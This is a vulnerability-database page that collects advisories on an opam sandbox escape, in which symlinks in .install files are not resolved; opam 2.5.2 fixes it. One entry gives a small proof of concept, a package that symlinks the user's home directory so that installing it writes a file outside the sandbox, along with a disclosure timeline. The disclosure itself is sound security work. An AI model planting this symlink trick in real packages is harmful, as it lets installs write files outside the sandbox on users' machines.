Most recent entries from all

EUVD-2026-367950

fkie_cve-2026-57825

In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.

GHSA-rwq5-7hr3-r2qf

In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.

openSUSE-SU-2026:11296-1 — opam-2.5.2-1.2 on GA media

opam-2.5.2-1.2 on GA media

OSEC-2026-10 — opam install sandbox escape using symlinks

Affected: opam: opam-devel

## Summary

Installing files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.

## Exploit

Let's imagine a `test` package whose `test.install` file looks like the following: ``` share_root: [ "test" {"blah/pwnd"} ] ``` and `test.opam` file: ``` opam-version: "2.0" install: ["sh" "-c" "ln -s \"$HOME\" \"%{share}%/blah\""] ```

Installing this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.

## Timeline

- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team - 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks - 2026-07-08: opam 2.5.2 was released with the fix

UBUNTU-CVE-2026-57825

Affected: Ubuntu:16.04:LTS: opam, Ubuntu:18.04:LTS: opam, Ubuntu:Pro:20.04:LTS: opam, Ubuntu:22.04:LTS: opam, Ubuntu:Pro:24.04:LTS: opam, Ubuntu:Pro:26.04:LTS: opam

In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.